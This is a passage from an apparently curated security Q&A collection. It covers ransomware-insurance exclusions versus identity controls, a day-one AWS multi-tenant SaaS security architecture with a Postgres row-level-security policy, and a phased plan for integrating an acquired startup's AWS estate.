Revocation is faster than people assume, and worth rehearsing: client-credentials tokens have no refresh token and default to a one-hour lifetime, so deleting the service principal or its app role assignment cuts access within that hour. The eight-minute figure in a runbook should be the time to detect and decide, not the time for the token to die.
So the diligence gap is one line: nobody asked whether Mail.ReadWrite was delegated or application, and nobody asked who would consent to it. Ask both before the consent screen, not after.
Curated: · Written: · Reviewed:
Q&A-75Leadership says insurance covers ransomware so identity work can wait. How do you answer?
Short answer: identity work can be sequenced, but it can't be deferred on the grounds that insurance covers ransomware, because the policy almost always requires the controls you'd be deferring. Insurance pays a claim after conditions are met. It doesn't stop the encryption, restore customers, or satisfy a regulator.
Assumptions I'd state before answering: the policy is a cyber/ransomware policy with conditions and exclusions; "identity work" means MFA, privileged access management, and phishing-resistant auth on internet-facing SSO; and leadership is asking about sequencing, not cancelling the programme.
What I'd say, in order:
- Read the exclusions against the actual attack path. Most ransomware policies exclude or condition on unpatched internet-facing systems, missing MFA on privileged access, and known-exploited CVEs. If your identity gap is on that list, the policy doesn't cover the scenario you're worried about: it excludes it.
- Fund the controls the policy silently requires. A policy that pays out only if MFA was enforced has already mandated MFA. You're not choosing between insurance and identity work; you're choosing whether to comply with the thing you bought.
- Keep the insurer off the residual-risk register. The insurer is a payer, not a control owner. If the register names them as the owner of the residual, nobody is closing the gap.
Where insurance-first is defensible: as a bridge. If the identity programme is funded and dated, and the policy's conditions are met today, buying a year of coverage while MFA lands is a reasonable risk-financing decision. The deciding criteria for sequencing are: does the policy require the control you're deferring; is the gap on the actual attack path; and what's time-to-control versus time-to-exploit. If MFA is two quarters out and the exploited CVE is being scanned for now, insurance doesn't buy you the time.
Worked example: hypothetical, but the shape is common. The policy excludes claims where internet-facing authentication was unpatched for more than 30 days. Your SSO has a known-exploited CVE open 61 days. Ransomware enters through it. Losses: 14 days of outage, incident response, and the ransom. The insurer denies the claim on the exclusion. The premium was paid; the coverage wasn't there.
| Exclusion in policy | Control it requires | Funded today |
|---|---|---|
| Unpatched internet-facing auth | patch SLA ≤ 30 days | no |
| No MFA on privileged access | PAM + MFA | deferred |
| Known-exploited CVE left open | vulnerability management | partial |
That table is the artefact I'd put in front of leadership, because it turns the argument into a funding decision: each row is an exclusion, and each exclusion has a control that closes it. The ask is to approve the identity work on the same timeline as the policy renewal, and to put the exclusion list in the risk register next to the control that closes it.
If leadership pushes back that the premium is already paid, the response is that the premium buys a payout you may never collect, while MFA closes a path an attacker is already using. Those are different purchases, and only one of them is a control.
Curated: · Written: · Reviewed:
Q&A-101We're building a greenfield multi-tenant SaaS on AWS. Walk me through the security architecture you'd design on day one (identity, network, data protection, logging) and what you would refuse to defer.
Assume AWS, a small platform team, and no legacy to carry. The decisions that are cheap now and expensive in month 18 are the tenant isolation model, the identity foundation, key management, and the log archive. I'd fix those in the first two sprints and let everything else iterate.
Tenant isolation. Pick the model before the first table. Pool with a tenant ID on every row is the default; silo (per-tenant account or database) for regulated tenants. The enforcement point is the data layer, not the application. In Postgres, row-level security with a session variable set from the verified token:
-- Postgres 16
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON invoices
USING (tenant_id = current_setting('app.tenant_id')::uuid);
The app sets app.tenant_id from the token claim after signature verification; a missing or wrong claim returns zero rows, not all rows. Application-level WHERE tenant_id = ? is a convention, and conventions get skipped in one handler: that is the failure mode behind the sibling-handler question.
Identity. Two planes, never merged. Workforce: Entra ID or Okta, SSO, FIDO2 security keys for anyone with production access, no SMS. No IAM users; IAM Identity Center permission sets, and CI assumes a role via OIDC. Workloads get identity from IRSA or EKS Pod Identity: no static keys in secrets. Customer plane: per-tenant OIDC/SAML federation, SCIM provisioning, access tokens 10 minutes, refresh rotation, audience-bound. The token carries a tenant claim but authorization is re-checked at the data layer; a token is proof of authentication, not of tenancy.
Network. Default-deny. Workloads in private subnets, no public IPs, egress through NAT with an allowlist or VPC endpoints. Security groups reference other security groups, not CIDRs. Ingress: WAF → ALB → mesh with mTLS (SPIFFE IDs), Kubernetes NetworkPolicy default-deny. Admin access is SSM Session Manager with session logging, not SSH bastions. Break-glass lives in a separate account, hardware-key only, sealed and alarmed.
Data protection. KMS customer-managed keys, not AWS-managed. Envelope encryption with the tenant ID in the encryption context: KMS binds the ciphertext to that context, so a key from tenant A cannot decrypt tenant B's blob even if the key policy is wrong. For the highest tier, one CMK per tenant: deleting the key crypto-shreds the data, which is how you honour erasure across backups. S3 Block Public Access at the account level; bucket policies deny non-TLS and unencrypted puts. Secrets in Secrets Manager or Vault with rotation.
Logging. A separate log-archive account, CloudTrail organisation trail, S3 Object Lock in compliance mode, its own KMS key, and no principal in the workload account can delete or alter it. Application logs structured with tenant ID, request ID, actor, decision: no PII. GuardDuty, Security Hub, Config conformance packs feed a security tooling account. Alert on IAM policy changes, S3 policy changes, KMS key deletion, root login.
| Account | Purpose | Key control |
|---|---|---|
| Management | Org, SCPs, Identity Center | No workloads |
| Log archive | CloudTrail, Config | Object Lock, no workload principals |
| Security tooling | GuardDuty, Security Hub | Delegated admin |
| Workload (per env) | App | SCP denies leaving org, denies disabling CloudTrail |
What I refuse to defer. Tenant isolation and its enforcement point; the identity foundation (no static credentials, phishing-resistant MFA, workload identity); the immutable log archive; key management and crypto-shredding; default-deny segmentation; and CI/CD supply chain (OIDC, signed artefacts). Each is a rewrite if deferred. Everything else (WAF rules, DLP, SIEM tuning) can iterate.
Curated: · Written: · Reviewed: —
Q&A-105You are acquiring a startup with no SOC 2, shared admin credentials, and a flat AWS account. The product must be integrated in 90 days. What does the security architecture look like on day one, at integration, and at steady state?
The acquisition is a trust-boundary decision, not a remediation backlog. The startup's estate is untrusted until you have evidence, and the 90-day clock is a business constraint, not a security one. I'd run three phases with explicit exit criteria, and I'd be willing to say no to integration if the day-one signals are bad.
Day one (0–14 days): isolate, don't integrate. No directory federation, no SSO trust, no VPC peering, no shared credentials. The acquired estate sits behind a hard boundary: its own AWS account under an Organization you control, or if that isn't possible in week one, a separate VPC with no route to corporate and access only through a recorded jump host. You rotate every shared admin credential and put break-glass into an account only your team holds. CloudTrail goes to a bucket in your account, not theirs.
The due-diligence signals you read on day one are specific: is CloudTrail on and immutable? How many IAM users have console passwords and access keys? Is MFA on root? How many principals carry *:*? Is there a single flat VPC with 0.0.0.0/0 on 22? Each answer tells you whether this is an integration or a rebuild. Shared admin credentials and a flat account mean you cannot attribute any action to a person: that alone blocks federation.
Integration (15–90 days): controlled crossing. Identity: federate through a dedicated group, not a directory merge. Acquired-company users get a distinct role with a bounded session duration and a scoped permission set. Network: private connectivity (Transit Gateway or peering) with security groups that name specific service ports and source security groups. Never 10.0.0.0/8. Data: map what crosses, classify it, put DLP on the egress. CI/CD: move their pipeline to OIDC into AWS; no long-lived keys.
Exit criteria to leave this phase: MFA on every human principal, zero shared credentials, CloudTrail and GuardDuty flowing to your central account, every resource tagged with owner and data class, and a data-flow diagram signed by both sides.
Steady state (90+ days): one of two ends. Either fold the estate into your standard landing zone: SCPs, Config conformance packs, centralized logging, the same guardrails as every other account, or keep it as a bounded subsidiary account with a written exception and a sunset date. What you must not do is leave it in a permanent half-state where it has its own rules and nobody owns them.
| Phase | Boundary | Identity | Data | Exit criterion |
|---|---|---|---|---|
| Day one | Separate account/VPC, no routes | No federation; credentials rotated | No production data crosses | CloudTrail to your account; inventory complete |
| Integration | Private connectivity, named ports | Federated group, scoped role | Classified, DLP on egress | MFA everywhere; data-flow signed |
| Steady state | Standard landing zone or bounded exception | Same IdP, same lifecycle | Same classification and retention | SCPs and Config enforced; exception has sunset |
SCP that holds the boundary while you integrate:
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "DenyUnapprovedRegions",
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"StringNotEquals": {"aws:RequestedRegion": ["eu-west-1", "eu-west-2"]}
}
}]
}
Failure modes. The common one is a day one that never ends: the estate stays isolated, the business can't get the synergy, and someone quietly peers the VPCs at month four with no review. Detect it with Config rules on VPC peering and Transit Gateway attachments, and alert on any new route to the acquired CIDR. The other failure is a directory merge on day one because "people need to work": that hands the acquired company's compromised endpoint a path into your identity plane.
Curated: · Written: · Reviewed: —